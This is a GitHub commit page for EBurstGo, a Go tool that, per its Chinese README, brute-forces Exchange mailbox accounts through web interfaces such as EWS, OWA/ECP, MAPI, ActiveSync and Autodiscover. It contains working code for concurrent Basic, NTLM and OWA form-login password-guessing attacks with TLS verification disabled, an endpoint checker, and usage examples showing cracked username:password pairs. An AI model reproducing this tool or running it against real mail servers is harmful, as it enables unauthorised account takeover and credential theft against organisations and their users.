Skip to content

Commit

Permalink
first commit
Browse files Browse the repository at this point in the history
  • Loading branch information
X1r0z committed Aug 7, 2023
0 parents commit cf1a66a
Show file tree
Hide file tree
Showing 11 changed files with 453 additions and 0 deletions.
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
.DS_Store
.idea/
EBurstGo
71 changes: 71 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
# EBurstGo

利用 Exchange 服务器 Web 接口爆破邮箱账户

参考 [grayddq/EBurst](https://github.com/grayddq/EBurst) 项目利用 Go 语言进行重构

支持接口

```shell
/autodiscover
/owa/auth.owa # OWA & ECP
/ews
/mapi
/oab
/rpc
/Microsoft-Server-ActiveSync
/powershell # 后期支持
```

## Usage

usage

```shell
Usage of ./EBurstGo:
-check
检查目标 Exchange 服务器可用接口
-domain string
AD 域名
-mode string
指定 Exchange 服务器接口
-pass string
密码字典
-thread int
协程数量 (default 2)
-url string
Exchange 服务器地址
-user string
用户名字典
```

check

```shell
$ ./EBurstGo -url https://192.168.30.11 -check
[-] 不存在 https://192.168.30.11/owa/auth.owa 接口
[+] 存在 https://192.168.30.11/ews 接口, 可以爆破
[+] 存在 https://192.168.30.11/mapi 接口, 可以爆破
[+] 存在 https://192.168.30.11/oab 接口, 可以爆破
[-] 不存在 https://192.168.30.11/owa/auth.owa 接口
[+] 存在 https://192.168.30.11/powershell 接口, 可以爆破
[+] 存在 https://192.168.30.11/autodiscover 接口, 可以爆破
[+] 存在 https://192.168.30.11/Microsoft-Server-ActiveSync 接口, 可以爆破
[+] 存在 https://192.168.30.11/rpc 接口, 可以爆破
```

brute

```shell
$ ./EBurstGo -url https://192.168.30.11 -domain hack-my.com -user users.txt -pass pass.txt -mode ews
[*] 使用 ews 接口爆破 https://192.168.30.11
[+] 成功 Administrator:abcd1234!@#$
[+] 成功 Alice:Alice123!
[+] 成功 Bob:Bob123!
[+] 成功 Marry:Marry123!
[*] 耗时 4.40084275s
```

协程数不建议开太大, 可能会漏报 (待解决?)

等后面有时间修一修 bug, 还有优化代码结构
12 changes: 12 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
module EBurstGo

go 1.20

require (
github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect
github.com/fatih/color v1.15.0 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.17 // indirect
golang.org/x/crypto v0.12.0 // indirect
golang.org/x/sys v0.11.0 // indirect
)
14 changes: 14 additions & 0 deletions go.sum
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8=
github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU=
github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng=
github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
golang.org/x/crypto v0.12.0 h1:tFM/ta59kqch6LlvYnPa0yx5a83cL2nHflFhYKvv9Yk=
golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.11.0 h1:eG7RXZHdqOJ1i+0lgLgCpSXAp6M3LYlAo6osgSi0xOM=
golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
60 changes: 60 additions & 0 deletions lib/basicbrute.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
package lib

import (
"fmt"
"github.com/fatih/color"
"net/http"
"net/url"
"sync"
"time"
)

func BasicBruteWorker(u string, domain string, task chan []string) {

for data := range task {
username, password := data[0], data[1]
req, _ := http.NewRequest("GET", u, nil)
req.SetBasicAuth(domain+"\\"+username, password)
req.Header.Add("Connection", "close")
res, _ := Client.Do(req)
if res.StatusCode != 401 && res.StatusCode != 408 && res.StatusCode != 504 {
color.Green("[+] 成功 %v", username+":"+password)
} else {
//color.Red("[-] 失败 %v", username+":"+password)
}
}
}

func BasicBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int) {

authPath := ExchangeUrls[mode]
u, _ := url.JoinPath(targetUrl, authPath)
fmt.Println("[*] 使用", mode, "接口爆破", targetUrl)

task := make(chan []string, len(userDict)*len(passDict))

t1 := time.Now()

for _, username := range userDict {
for _, password := range passDict {
data := []string{username, password}
task <- data
}
}
close(task)

var wg sync.WaitGroup

for i := 0; i < n; i++ {
wg.Add(1)
go func() {
defer wg.Done()
BasicBruteWorker(u, domain, task)
}()
}

wg.Wait()

t2 := time.Now()
fmt.Println("[*] 耗时", t2.Sub(t1))
}
22 changes: 22 additions & 0 deletions lib/check.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
package lib

import (
"github.com/fatih/color"
"net/url"
)

func Check(targetUrl string) {

for _, v := range ExchangeUrls {
u, _ := url.JoinPath(targetUrl, v)
res, err := Client.Get(u)
if err != nil {
panic(err)
}
if res.StatusCode != 404 && res.StatusCode != 403 && res.StatusCode != 301 && res.StatusCode != 302 {
color.Green("[+] 存在 %v 接口, 可以爆破", u)
} else {
color.Red("[-] 不存在 %v 接口", u)
}
}
}
86 changes: 86 additions & 0 deletions lib/httpbrute.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
package lib

import (
"fmt"
"github.com/fatih/color"
"net/http"
"net/url"
"strings"
"sync"
"time"
)

func HttpBruteWorker(targetUrl string, mode string, u string, domain string, task chan []string) {

var refurl string
if mode == "owa" {
refurl, _ = url.JoinPath(targetUrl, "/owa/")
} else {
refurl, _ = url.JoinPath(targetUrl, "/ecp/")
}
referer, _ := url.JoinPath(targetUrl, "/owa/auth/logon.aspx?replaceCurrent=1&url="+refurl)

for data := range task {
username, password := data[0], data[1]
form := url.Values{
"destination": {refurl},
"flags": {"4"},
"forcedownlevel": {"0"},
"username": {domain + "\\" + username},
"password": {password},
"passwordText": {""},
"isUtf8": {"1"},
}
req, _ := http.NewRequest("POST", u, strings.NewReader(form.Encode()))
req.Header.Set("Cache-Control", "max-age=0")
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Referer", referer)
req.Header.Set("Cookie", "PrivateComputer=true; PBack=0")
req.Header.Set("Connection", "close")

res, _ := Client.Do(req)
location := res.Header.Get("Location")

if location == "" {
//color.Red("[-] 失败 %v", username+":"+password)
} else if !strings.Contains(location, "reason") {
color.Green("[+] 成功 %v", username+":"+password)
} else {
//color.Red("[-] 失败 %v", username+":"+password)
}
}
}

func HttpBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int) {

authPath := ExchangeUrls[mode]
u, _ := url.JoinPath(targetUrl, authPath)
fmt.Println("[*] 使用", mode, "接口爆破", targetUrl)

task := make(chan []string, len(userDict)*len(passDict))

t1 := time.Now()

for _, username := range userDict {
for _, password := range passDict {
data := []string{username, password}
task <- data
}
}
close(task)

var wg sync.WaitGroup

for i := 0; i < n; i++ {
wg.Add(1)
go func() {
defer wg.Done()
HttpBruteWorker(targetUrl, mode, u, domain, task)
}()
}

wg.Wait()

t2 := time.Now()
fmt.Println("[*] 耗时", t2.Sub(t1))
}
9 changes: 9 additions & 0 deletions lib/kerberosbrute.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
package lib

func KerberosBruteWorker(u string, domain string, task chan []string) {

}

func KerberosBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int) {

}
59 changes: 59 additions & 0 deletions lib/ntlmbrute.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
package lib

import (
"fmt"
"github.com/fatih/color"
"net/http"
"net/url"
"sync"
"time"
)

func NtlmBruteWorker(u string, domain string, task chan []string) {

for data := range task {
username, password := data[0], data[1]
req, _ := http.NewRequest("GET", u, nil)
req.SetBasicAuth(domain+"\\"+username, password)
res, _ := NtlmClient.Do(req)
if res.StatusCode != 401 && res.StatusCode != 408 && res.StatusCode != 504 {
color.Green("[+] 成功 %v", username+":"+password)
} else {
//color.Red("[-] 失败 %v", username+":"+password)
}
}
}

func NtlmBruteRun(targetUrl string, mode string, domain string, userDict []string, passDict []string, n int) {

authPath := ExchangeUrls[mode]
u, _ := url.JoinPath(targetUrl, authPath)
fmt.Println("[*] 使用", mode, "接口爆破", targetUrl)

task := make(chan []string, len(userDict)*len(passDict))

t1 := time.Now()

for _, username := range userDict {
for _, password := range passDict {
data := []string{username, password}
task <- data
}
}
close(task)

var wg sync.WaitGroup

for i := 0; i < n; i++ {
wg.Add(1)
go func() {
defer wg.Done()
NtlmBruteWorker(u, domain, task)
}()
}

wg.Wait()

t2 := time.Now()
fmt.Println("[*] 耗时", t2.Sub(t1))
}
45 changes: 45 additions & 0 deletions lib/util.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
package lib

import (
"crypto/tls"
"github.com/Azure/go-ntlmssp"
"net/http"
)

var ExchangeUrls = map[string]string{
"autodiscover": "/autodiscover",
"ews": "/ews",
"mapi": "/mapi",
"activesync": "/Microsoft-Server-ActiveSync",
"oab": "/oab",
"rpc": "/rpc",
"owa": "/owa/auth.owa",
"powershell": "/powershell",
"ecp": "/owa/auth.owa",
}

var Client = &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
Renegotiation: tls.RenegotiateOnceAsClient,
},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}

var NtlmClient = &http.Client{
Transport: ntlmssp.Negotiator{
RoundTripper: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
Renegotiation: tls.RenegotiateOnceAsClient,
},
},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
Loading

0 comments on commit cf1a66a

Please sign in to comment.